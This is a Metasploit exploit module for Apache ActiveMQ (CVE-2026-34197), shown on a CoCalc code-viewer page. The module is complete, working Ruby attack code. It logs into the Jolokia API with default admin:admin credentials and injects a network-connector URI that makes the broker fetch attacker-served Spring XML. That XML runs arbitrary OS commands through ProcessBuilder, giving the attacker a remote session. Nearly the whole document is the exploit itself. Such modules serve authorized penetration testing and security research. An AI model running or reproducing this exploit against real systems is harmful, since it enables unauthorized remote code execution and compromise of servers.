Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/apache_activemq_jolokia_rce.rb
74550 views
1
# frozen_string_literal: true
2
3
##
4
# This module requires Metasploit: https://metasploit.com/download
5
# Current source: https://github.com/rapid7/metasploit-framework
6
##
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = ExcellentRanking
10
11
prepend Msf::Exploit::Remote::AutoCheck
12
include Msf::Exploit::Remote::HttpClient
13
include Msf::Exploit::Remote::HttpServer
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'Apache ActiveMQ RCE via Jolokia addNetworkConnector',
20
'Description' => %q{
21
Apache ActiveMQ exposes a Jolokia JMX-over-HTTP API at /api/jolokia/.
22
An authenticated attacker can invoke the addNetworkConnector() MBean
23
operation with a crafted URI that causes the broker to fetch a remote
24
Spring XML configuration over HTTP. The Spring XML instantiates a
25
ProcessBuilder bean that executes attacker-supplied OS commands.
26
27
Default credentials (admin:admin) are accepted by many installations.
28
29
Verified on docker image
30
},
31
'Author' => [
32
'dinosn', # Discovery and PoC
33
'h00die' # Metasploit module
34
],
35
'License' => MSF_LICENSE,
36
'References' => [
37
['CVE', '2026-34197'],
38
['URL', 'https://github.com/dinosn/CVE-2026-34197'],
39
['URL', 'https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/']
40
],
41
'DisclosureDate' => '2026-04-29',
42
'Platform' => %w[linux unix win],
43
'Arch' => [ARCH_CMD],
44
'Privileged' => false,
45
'Stance' => Stance::Aggressive,
46
'Targets' => [
47
['Windows', { 'Platform' => 'win' }],
48
['Linux', { 'Platform' => %w[linux unix] }],
49
['Unix', { 'Platform' => 'unix' }]
50
],
51
'DefaultTarget' => 1,
52
'DefaultOptions' => {
53
'WfsDelay' => 30
54
},
55
'Notes' => {
56
'Stability' => [CRASH_SAFE],
57
'Reliability' => [REPEATABLE_SESSION],
58
'SideEffects' => [IOC_IN_LOGS]
59
}
60
)
61
)
62
63
register_options([
64
Opt::RPORT(8161),
65
OptString.new('TARGETURI', [true, 'Base path to ActiveMQ web console', '/']),
66
OptString.new('USERNAME', [true, 'Jolokia username', 'admin']),
67
OptString.new('PASSWORD', [true, 'Jolokia password', 'admin']),
68
OptString.new('BROKER_NAME', [false, 'Broker name (auto-detected if blank)', ''])
69
])
70
end
71
72
def check
73
res = send_request_cgi({
74
'uri' => normalize_uri(target_uri.path, '/api/jolokia/'),
75
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
76
})
77
78
return CheckCode::Unknown('No response from target') unless res
79
return CheckCode::Unknown('Authentication failed (401) — check USERNAME/PASSWORD') if res.code == 401
80
return CheckCode::Unknown('Jolokia access forbidden (403)') if res.code == 403
81
return CheckCode::Unknown("Unexpected HTTP status: #{res.code}") unless res.code == 200
82
83
data = res.get_json_document
84
return CheckCode::Unknown('Could not parse Jolokia response') if data.empty?
85
86
agent = data.dig('value', 'agent') || 'unknown'
87
CheckCode::Appears("Jolokia accessible — agent version: #{agent}")
88
end
89
90
def on_request_uri(cli, request)
91
vprint_status("#{request.method} #{request.uri}")
92
93
case target['Platform']
94
when 'win'
95
shell = 'cmd.exe'
96
flag = '/c'
97
else
98
shell = '/bin/sh'
99
flag = '-c'
100
end
101
102
xml = %(<?xml version="1.0" encoding="UTF-8"?>
103
<beans xmlns="http://www.springframework.org/schema/beans"
104
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
105
xsi:schemaLocation="http://www.springframework.org/schema/beans
106
http://www.springframework.org/schema/beans/spring-beans.xsd">
107
<bean id="#{Rex::Text.rand_text_alpha(8)}" class="java.lang.ProcessBuilder" init-method="start">
108
<constructor-arg>
109
<list>
110
<value>#{shell}</value>
111
<value>#{flag}</value>
112
<value><![CDATA[#{payload.encoded}]]></value>
113
</list>
114
</constructor-arg>
115
</bean>
116
</beans>)
117
118
send_response(cli, xml, {
119
'Content-Type' => 'application/xml',
120
'Connection' => 'close',
121
'Pragma' => 'no-cache'
122
})
123
print_good('Malicious Spring XML served — target will execute payload via ProcessBuilder')
124
end
125
126
def exploit
127
start_service
128
129
bname = detect_broker_name
130
print_status("Using broker name: #{bname}")
131
132
remove_network_connector(bname, 'NC')
133
134
# static:(...) is the network connector discovery URI.
135
# vm://#{Rex::Text.rand_text_alpha(8)} references a non-existent broker, forcing dynamic creation.
136
# brokerConfig=xbean:http://... loads remote Spring XML config.
137
malicious_uri = "static:(vm://#{Rex::Text.rand_text_alpha(8)}?brokerConfig=xbean:#{get_uri})"
138
139
jolokia_body = {
140
'type' => 'exec',
141
'mbean' => "org.apache.activemq:type=Broker,brokerName=#{bname}",
142
'operation' => 'addNetworkConnector(java.lang.String)',
143
'arguments' => [malicious_uri]
144
}.to_json
145
146
print_status("Sending Jolokia exploit request to #{rhost}:#{rport}")
147
vprint_status("Malicious URI: #{malicious_uri}")
148
149
# Use a short timeout: ActiveMQ fetches our Spring XML and runs the payload
150
# asynchronously, so the Jolokia POST often never returns a response.
151
# We handle the session in the handler regardless.
152
res = send_request_cgi({
153
'method' => 'POST',
154
'uri' => normalize_uri(target_uri.path, '/api/jolokia/'),
155
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
156
'ctype' => 'application/json',
157
'data' => jolokia_body,
158
'headers' => { 'Origin' => "#{ssl ? 'https' : 'http'}://#{rhost}:#{rport}" },
159
'timeout' => 10
160
})
161
162
if res.nil?
163
print_status('Jolokia POST timed out — broker is likely fetching Spring XML and executing payload')
164
elsif res.code == 401
165
fail_with(Failure::NoAccess, 'Authentication failed — check USERNAME/PASSWORD')
166
elsif res.code != 200
167
print_warning("Unexpected HTTP status: #{res.code} — continuing anyway")
168
else
169
result = res.get_json_document
170
if result.empty?
171
print_warning('Could not parse Jolokia response — continuing anyway')
172
elsif result['status'] == 200
173
print_good('Jolokia accepted the payload — waiting for target to fetch Spring XML...')
174
else
175
print_warning("Jolokia returned status #{result['status']}: #{result['error']}")
176
end
177
end
178
179
handler
180
end
181
182
private
183
184
def remove_network_connector(broker_name, connector_name)
185
body = {
186
'type' => 'exec',
187
'mbean' => "org.apache.activemq:type=Broker,brokerName=#{broker_name}",
188
'operation' => 'removeNetworkConnector(java.lang.String)',
189
'arguments' => [connector_name]
190
}.to_json
191
192
res = send_request_cgi({
193
'method' => 'POST',
194
'uri' => normalize_uri(target_uri.path, '/api/jolokia/'),
195
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
196
'ctype' => 'application/json',
197
'data' => body,
198
'headers' => { 'Origin' => "#{ssl ? 'https' : 'http'}://#{rhost}:#{rport}" }
199
})
200
201
if res&.code == 200
202
vprint_status("Removed existing '#{connector_name}' network connector")
203
else
204
vprint_status("No existing '#{connector_name}' connector to remove (or removal failed) — continuing")
205
end
206
end
207
208
def detect_broker_name
209
return datastore['BROKER_NAME'] unless datastore['BROKER_NAME'].blank?
210
211
res = send_request_cgi({
212
'uri' => normalize_uri(target_uri.path, '/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=*'),
213
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
214
})
215
216
if res&.code == 200
217
data = res.get_json_document
218
if !data.empty? && data['status'] == 200 && data['value']
219
data['value'].each_key do |mbean|
220
mbean.split(',').each do |part|
221
next unless part.start_with?('brokerName=')
222
223
name = part.split('=', 2).last
224
vprint_status("Discovered broker name: #{name}")
225
return name
226
end
227
end
228
end
229
end
230
231
vprint_status("Could not discover broker name, using default 'localhost'")
232
'localhost'
233
end
234
end
235
236